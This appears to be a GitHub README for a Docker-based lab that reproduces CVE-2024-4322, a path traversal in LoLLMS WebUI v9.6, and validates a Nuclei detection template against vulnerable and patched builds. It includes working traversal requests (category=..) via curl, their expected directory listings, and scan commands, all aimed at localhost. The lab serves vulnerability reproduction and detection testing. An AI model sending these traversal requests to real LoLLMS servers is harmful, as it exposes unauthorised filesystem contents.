MJ-bin/POC_CVE-2024-4322

GitHub: MJ-bin/POC_CVE-2024-4322

一个基于 Docker 的本地安全靶场,用于复现 LoLLMS WebUI 的 CVE-2024-4322 路径遍历漏洞并验证 Nuclei 检测模板的有效性。

Stars: 0 | Forks: 0

# CVE-2024-4322:LoLLMS WebUI PoC 与 Nuclei 验证实验室 本仓库提供了 Docker 化的本地实验室,用于复现 **CVE-2024-4322**(LoLLMS WebUI v9.6 中的一个路径遍历漏洞),并 验证相关的 Nuclei 模板与 LoLLMS WebUI v9.8 是否不匹配。 请仅针对本地、自有或获得明确授权的目标使用本实验室。 ## 漏洞摘要 LoLLMS WebUI v9.6 中的 `/list_personalities` 端点存在路径遍历漏洞。 用户控制的 `category` 参数在未经净化的情况下被附加到 `personalities_zoo_path` 中: ``` personalities_dir = lollmsElfServer.lollms_paths.personalities_zoo_path/f'{category}' ``` 通过发送 `category=..`,请求可以跳出预期的 personalities 目录并列出父目录的内容。 预期的漏洞信号: ``` category= -> [] category=.. -> response contains "personalities_zoo" ``` 已修复的 v9.8 版本行为会在列出目录之前拒绝遍历输入。 ## 实验室矩阵 | 环境 | 版本 | 服务 | 主机 URL | 预期模板结果 | | --- | --- | --- | --- | --- | | Linux 漏洞环境 | v9.6 | `linux-vuln-server` | `http://127.0.0.1:9600` | 匹配 | | Linux 补丁环境 | v9.8 | `linux-patched-server` | `http://127.0.0.1:9602` | 不匹配 | | Windows 漏洞环境 | v9.6 | `windows-vuln-server` | `http://127.0.0.1:9601` | 匹配 | | Windows 补丁环境 | v9.8 | `windows-patched-server` | `http://127.0.0.1:9603` | 不匹配 | 请从包含此 README 的目录中运行所有命令。 ## Linux 漏洞实验室 ### 1. 启动服务器 ``` docker compose up --build -d linux-vuln-server docker compose logs -f linux-vuln-server ``` 等待出现: ``` Uvicorn running on http://0.0.0.0:9600 ``` 按 `Ctrl-C` 停止跟踪日志。容器将继续运行。 ### 2. 验证 HTTP 行为 ``` curl -sS 'http://127.0.0.1:9600/list_personalities?category=' | jq . curl -sS 'http://127.0.0.1:9600/list_personalities?category=..' | jq . ``` 预期结果: ``` [] ["personalities_zoo","extensions_zoo","bindings_zoo","models_zoo"] ``` 顺序可能有所不同。重要的信号是,遍历响应与 控制响应不同,并且包含 `personalities_zoo`。 ### 3. 使用 Nuclei 验证 ``` nuclei -duc -validate -t templates/CVE-2024-4322.yaml nuclei -duc -u http://127.0.0.1:9600 -t templates/CVE-2024-4322.yaml -debug ``` 预期结果: ``` [CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9600/list_personalities?category=.. ``` ![Linux 漏洞环境 Nuclei 验证](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/09cd7789ad200441.png) ## Linux 补丁实验室 ### 1. 启动服务器 ``` docker compose --profile patched up --build -d linux-patched-server docker compose --profile patched logs -f linux-patched-server ``` 等待出现: ``` Uvicorn running on http://0.0.0.0:9600 ``` ### 2. 验证 HTTP 行为 ``` curl -i 'http://127.0.0.1:9602/list_personalities?category=' curl -i 'http://127.0.0.1:9602/list_personalities?category=..' ``` 预期结果: ``` category= -> HTTP 200 [] category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"} ``` ### 3. 使用 Nuclei 验证 ``` nuclei -duc -u http://127.0.0.1:9602 -t templates/CVE-2024-4322.yaml ``` 预期结果: ``` [INF] Scan completed ... 0 matches found. ``` ![Linux 补丁环境 Nuclei 验证](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/d7bdc0f697200519.png) ## Windows 漏洞实验室 这需要 Docker Desktop 处于 **Windows 容器** 模式。请在此目录下 使用 PowerShell 运行以下命令。 ### 1. 启动服务器 ``` docker compose --profile windows up --build -d windows-vuln-server docker compose --profile windows logs -f windows-vuln-server ``` 等待出现: ``` Uvicorn running on http://0.0.0.0:9600 ``` ### 2. 验证 HTTP 行为 ``` curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=" curl.exe -sS "http://127.0.0.1:9601/list_personalities?category=.." ``` 预期结果: ``` [] ["bindings_zoo","extensions_zoo","models_zoo","personalities_zoo"] ``` 顺序可能有所不同。重要的信号是,遍历响应与 控制响应不同,并且包含 `personalities_zoo`。 ### 3. 使用 Nuclei 验证 ``` nuclei -duc -u http://127.0.0.1:9601 -t .\templates\CVE-2024-4322.yaml -debug ``` 预期结果: ``` [CVE-2024-4322:dsl-1] [http] [high] http://127.0.0.1:9601/list_personalities?category=.. ``` ![Windows 漏洞环境 Nuclei 验证](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/1f90e3ac92200558.png) ## Windows 补丁实验室 这需要 Docker Desktop 处于 **Windows 容器** 模式。请在此目录下 使用 PowerShell 运行以下命令。 ### 1. 启动服务器 ``` docker compose --profile windows up --build -d windows-patched-server docker compose --profile windows logs -f windows-patched-server ``` 等待出现: ``` Uvicorn running on http://0.0.0.0:9600 ``` ### 2. 验证 HTTP 行为 ``` curl.exe -i "http://127.0.0.1:9603/list_personalities?category=" curl.exe -i "http://127.0.0.1:9603/list_personalities?category=.." ``` 预期结果: ``` category= -> HTTP 200 [] category=.. -> HTTP 400 {"detail":"Detected an attempt of path traversal or command injection. Are you kidding me?"} ``` ### 3. 使用 Nuclei 验证 ``` nuclei -duc -u http://127.0.0.1:9603 -t .\templates\CVE-2024-4322.yaml ``` 预期结果: ``` [INF] Scan completed ... 0 matches found. ``` ![Windows 补丁环境 Nuclei 验证](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/a694e8210d200606.png) ## 清理 Linux 容器: ``` docker compose --profile patched down --rmi local ``` Windows 容器: ``` docker compose --profile windows down ``` ## 要求 - Docker 和 Docker Compose。 - Windows 实验室需要处于 Windows 容器模式的 Docker Desktop。 - `curl`。 - Linux 漏洞 HTTP 示例需要 `jq`。 - 用于模板验证的 Nuclei。 如果 Linux 主机上没有 `jq`,请使用 analyst 容器: ``` docker compose --profile tools run --rm analyst sh curl -sS 'http://linux-vuln-server:9600/list_personalities?category=' | jq . curl -sS 'http://linux-vuln-server:9600/list_personalities?category=..' | jq . ``` 如果 Windows 上未安装 Nuclei,请从 `https://github.com/projectdiscovery/nuclei/releases` 下载 Windows 发布二进制文件, 解压缩后直接从提取的目录中运行 `nuclei.exe`。 ## 实验室设置说明 Dockerfile 在构建期间修补了历史安装程序,以便该实验室在今天 仍可复现: - 漏洞实验室克隆了 `lollms-webui` 的 `v9.6` 标签。 - 补丁实验室克隆了 `lollms-webui` 的 `v9.8` 标签。 - `lollms_core` 子模块的 URL 被重写为 `https://github.com/ParisNeo/lollms_legacy.git`,因为旧的源 代码历史记录已移至该处。 - 版本固定是对照上游 Git 元数据检查的: `v9.6` 为 `e2f2d313cd6ea3fe81dfc4496f985f5b650853b9`,`v9.8` 为 `8a8e3a1c386321f641a014bf8f7029512ccad411`。 git ls-remote --tags https://github.com/ParisNeo/lollms-webui.git refs/tags/v9.6 refs/tags/v9.8 - 对应的 `lollms_core` 子模块提交为 v9.6 的 `cfb18f6f1091addf440347322441ab28005a2d3b` 和 v9.8 的 `6f45b1ca828e9f75ca3ed38aaf0d04d0f72a0a49`,这是在每个标签检出上 通过 `git ls-tree HEAD lollms_core` 检查的。 - `auto_update` 和 `auto_sync_*` 选项已被禁用,以保持每个实验室版本固定。 - 注入了无头配置文件,以便服务器可以在没有提示的情况下启动。 - 在可能的情况下,跳过了端点验证不需要的 重型依赖项。 - Windows 安装程序已被修补,以创建其临时目录并 避免过期的递归子模块。 ## 补丁基本原理 被破坏的不变式是: ``` resolved path must stay inside the personalities directory ``` LoLLMS WebUI v9.8 及更高版本通过在 `category` 路径到达文件系统目录列出逻辑之前对其进行净化或约束,解决了此问题。对于 实际部署,请将 LoLLMS WebUI 升级到 `9.8` 或更高版本。
标签:CISA项目, CVE-2024-4322, Docker, Docker Compose, Google, LoLLMS WebUI, Nuclei, OPA, PoC, v9.6, Web安全, 安全防御评估, 暴力破解, 漏洞复现, 网络安全, 网络安全审计, 蓝队分析, 请求拦截, 路径穿越, 逆向工具, 隐私保护, 靶场